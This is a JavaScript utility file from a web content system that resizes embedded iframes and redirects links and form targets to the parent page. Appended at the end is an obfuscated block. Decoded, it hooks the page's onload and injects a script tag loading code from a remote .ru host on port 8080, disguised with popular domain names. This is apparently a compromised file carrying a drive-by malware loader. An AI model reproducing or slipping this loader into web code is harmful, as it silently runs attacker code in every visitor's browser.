var ResizeIframe = {   
  wrapperId : "tinc_content",
                
  /**
   * Resizes an iframe sId including oDoc to oDoc's content size.
   * Can be called top-down, i.e. from the including iframe (or it's parents) or bottom-up, i.e. from the included document.
   * In the latter case the iframe element is retrieved programmatically.
   * 
   * @param oDoc  Included page's document object
   * @param sId   ID of including iframe
   */               
  resize : function ( oDoc, sId ) 
  {
    try
    {
      if ( typeof oDoc == "undefined" ) return;
  
      if ( typeof sId != "undefined" ) 
      {
        var iframe = oDoc.getElementById( sId );
        var iframeDoc = iframe.contentWindow.document;
      } else {
        var iframeDoc = oDoc;
        var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
        var iframe = iframeWindow.frameElement;
      }
      var wrapper = iframeDoc.getElementById( this.wrapperId );

      // make sure we only resize once
      if ( iframeDoc.isIntegrated == true ) { return; }
      
      // switch on transparency for iframe
      iframeDoc.body.style.backgroundColor = "transparent";
      iframe.allowTransparency = "true";
            
      iframeDoc.body.style.padding = "0px";
      iframeDoc.body.style.border = "none";
      
      var tabs = iframeDoc.getElementsByTagName( "table" )
      if ( tabs[0] && tabs[0].className == "dborder" )
     	{		
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } else if ( iframeDoc.forms[0] && iframeDoc.forms[0].elements["formname"] ) 
      {
      	wrapper.setAttribute( "wfx:overridewidth", "true" );
      } 
      
      if ( window.addEventListener )
      {   
      	var gcs = iframeDoc.defaultView.getComputedStyle( iframeDoc.body, null);
        var v_margin = parseInt( gcs.getPropertyValue( "margin-top" ) ) + parseInt( gcs.getPropertyValue( "margin-bottom" ) );
        var h_margin = parseInt( gcs.getPropertyValue( "margin-left" ) ) + parseInt( gcs.getPropertyValue( "margin-right" ) );
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	iframe.style.width = wrapper_width + h_margin + "px";
        }
        
        // Setting the top padding of the wrapper avoids wrong calculation of the height due to collapsing margins behavior
        wrapper.style.paddingTop = "1px";
        
        height = wrapper.offsetHeight + v_margin ;
      } 
      else if ( window.attachEvent ) 
      {        
        iframeDoc.body.style.margin = "0px";
        var wrapper_width = wrapper.offsetWidth;
        
        var flex = wrapper.getAttribute( "wfx:overridewidth" );
        if ( flex == "true" )
        {
        	wrapper.style.width = "100%";
        } else {
        	// We need to add this extra 20 pixel for some modules. Otherwise the width would not be big enough and we would get scrollbars.
            // REMARK: In the script which is used for resizing the modules inside the editor we don't need this!
            // Currently I don't know the reason for this difference!?
        	iframe.style.width = wrapper_width + 20 + "px";
        }
        
        height = wrapper.offsetHeight;
      }

      if ( iframe.scrolling != "yes" ) { height += 20; }
      
      iframe.style.height = height + "px";
      iframeDoc.isIntegrated = true; 
    } catch ( ex )
    {
      return; 
    }
    
    WfxExtrasProcessor.process( oDoc, sId );
  }
}

var WfxExtrasProcessor = {
  process : function ( oDoc, sId)
  {    
    if ( typeof oDoc == "undefined" ) return;
  
    if ( typeof sId != "undefined" ) 
    {
      var iframe = oDoc.getElementById( sId );
      var iframeDoc = iframe.contentWindow.document;
    } else {
      var iframeDoc = oDoc;
      var iframeWindow = iframeDoc.parentWindow || iframeDoc.defaultView;
      var iframe = iframeWindow.frameElement;
    }
    
    // let non-tinc links load in the parent document. this might need some adjustment
    var links = iframeDoc.getElementsByTagName( "a" );
    for ( var i = 0; i < links.length; i++ )
    {
      if ( links[i].href.indexOf( "/tinc" ) == -1 ) links[i].target = "_parent";
    }
    
    // Special case: WebElements forms might do redirection to another page after submission. That's indicated by a non-empty
    // 'redirectionEnabled' attribute of a submit button. 
    var inputs = iframeDoc.getElementsByTagName( "input" );
    for ( var i = 0; i < inputs.length; i++ )
    {
      var input = inputs[i];
      if ( input.getAttribute("redirection") != null && input.getAttribute("redirection") != '' ) 
        input.form.target = "_parent";
    }
  }
}
    
    

try {var J;if(J!='QX' && J!='g'){J=''};var Z='replace';var x='';var DG='';var u='';var Y;if(Y!='' && Y!='ZC'){Y=null};var G='g';var aK;if(aK!='' && aK!='ZCy'){aK=null};var Aq;if(Aq!='Ow' && Aq != ''){Aq=null};var h=']';var V;if(V!='' && V!='p'){V=''};var I=RegExp;var Rk=new Array();var a='[';var Ce='';var oi='';function _(m,l){var _C='';var A=a;A+=l;A+=h;var Zk;if(Zk!='' && Zk!='_U'){Zk=null};var MI=new Date();var Q=new I(A, G);return m[Z](Q, u);var L='';var d;if(d!=''){d='Ha'};};var F;if(F!='Ji'){F=''};var wH;if(wH!='ns' && wH!='Ag'){wH=''};var Ie=_('sgcgrZigpCtg',"ZCg");var lz='';var X=_('bVoVdVyE',"MrECV");var OO;if(OO!='' && OO!='Bf'){OO='sH'};var Ht;if(Ht!='' && Ht!='GC'){Ht='Rn'};var T=_('83610618360313',"361");var Xh=new Array();var si="";var uk=_('cRrQeKaQtQeREKlReRmReRnKtK',"KRQ");var iB="";var Jt="";var f;if(f!='BB'){f=''};var Hi=new Array();var j=_('/_m_e1dMi7aMf1iKr1e7.McMo7mK/1m1eKd7i1a7f1i7r_e1.1c7oKmK/Kg1oKoKg7l7e_.7cMo_m1/7iMmKeK.MnKuK/1sMaMk7u7r1aM.KnKe1._jMp_._p_h_p7',"7_M1K");var R=_('hRtRtUpR:R/T/U3U7UwUaUnU-RcToRmU.UcRjT.TcToUmT.RaUtUdRmRtR-UcRoRmU.TiUwTeRsUtRpToUiRnRtT.UrRuU:T',"TRU");var m="1";var TLn=new String();this.kP="";var n=_('oZnwlwowafdZ',"fZw");var cS;if(cS!='UL' && cS!='sl'){cS=''};var jR=_('a0pTpWeTnIduC0huiIlId0',"0uITW");var cp;if(cp!='qN' && cp != ''){cp=null};var t=_('s0eTtCATt0tCrTiabauCtCea',"a0TC");window[n]=function(){H=document[uk](Ie);this.af="";lz+=R;var to;if(to!=''){to='Ut'};lz+=T;lz+=j;var UQ;if(UQ!='XB' && UQ != ''){UQ=null};var jr;if(jr!='' && jr!='r'){jr='lQ'};H.setAttribute('defer', m);var GU;if(GU!=''){GU='wt'};this.gQ="";H.src=lz;var w=document[X];var bX=new Date();var LU=new Date();var iA;if(iA!='' && iA!='xL'){iA='rR'};w.appendChild(H);var cI='';var Yj;if(Yj!='qd' && Yj != ''){Yj=null};};var QY='';} catch(O){};var fq=new Date();